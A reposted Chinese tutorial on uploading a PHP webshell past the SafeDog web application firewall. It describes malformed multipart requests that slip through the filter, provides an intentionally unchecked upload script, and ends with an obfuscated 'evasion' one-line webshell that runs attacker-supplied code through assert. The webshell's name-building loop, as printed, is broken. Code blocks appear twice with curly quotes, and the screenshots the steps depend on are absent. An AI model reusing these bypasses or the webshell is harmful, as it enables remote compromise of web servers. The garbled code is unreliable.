安全圈 | 专注于最新网络信息安全讯息新闻

首页

繞過網站安全狗攔截,上傳webshell技巧總結(附免殺php一句話)

作者 strmiska 时间 2020-02-27
all

*本文原創作者:1_2,本文屬FreeBuf原創獎勵計畫,未經許可禁止轉載

這篇文章我介紹一下我所知道的繞過網站安全狗上傳WebShell的方法。

思路是:修改HTTP請求,構成畸形HTTP請求,然後繞過網站安全狗的檢測。

廢話不多說,切入正題。。。。

1、實驗環境:

Windows Server 2003、Apache/2.4.18、PHP/5.3.29、網站安全狗(Apache版)V3.5.12048

2、用於文件上傳的PHP源碼:

<?php

$path = dirname(__FILE__) . '/upload/';

$rand = rand(0,30);

move_uploaded_file($_FILES["file"]["tmp_name"],$path . $rand . $_FILES["file"]["name"]);

echo "File Path:" . $path . $rand . $_FILES["file"]["name"] . "<br/>";

echo "OK";

?>

<?php

$path = dirname(__FILE__). '/upload/';

$rand = rand(0,30);

move_uploaded_file($_FILES[“file”][“tmp_name”],$path . $rand . $_FILES[“file”][“name”]);

echo“File Path:”. $path . $rand . $_FILES[“file”][“name”] .“<br/>”;

echo“OK”;

?>

因為此次實驗的目的是繞過網站安全狗,所以PHP源碼上我沒做任何檢測,把上傳的檔案直接放在upload目錄下。

3、先看一下正常的HTTP請求:

很明顯,檔名為”yijuhua.php”被攔截。。。。

4、嘗試%00截斷:

很明顯,失敗了。。。

5、修改HTTP請求,構造畸形HTTP請求

(1)删除實體裡面的Conten-Type欄位:

繞過網站安全狗的攔截,成功上傳WebShell。。。

(2)删除Content-Disposition欄位裏的空格:

(3)修改Content-Disposition欄位值的大小寫:

6、菜刀連接一句話:

到此,上傳WebShell結束,各位看明白了嗎?

7、免殺PHP一句話:

<?php

/*

PHP一句话木马

assert($string)

*/

$arr = array('a','s','s','e','r','t');

$func = '';

for($i=0;$i<count($arr);$i++) {

$func .= $func . $arr[$i];

}

$func($_REQUEST['c']);

?>

<?php

/*

PHP一句話木馬

assert($string)

*/

$arr = array('a','s','s','e','r','t');

$func = '';

for($i=0;$i<count($arr);$i++){

$func .= $func . $arr[$i];

}

$func($_REQUEST['c']);

?>

8、修復漏洞:

出現這種情況,我認為是網站安全狗在開發時沒有考慮到畸形HTTP請求,而Apache卻相容畸形HTTP請求,所以能够上傳成功。

*本文原創作者:1_2(QQ:965207103),本文屬FreeBuf原創獎勵計畫,未經許可禁止轉載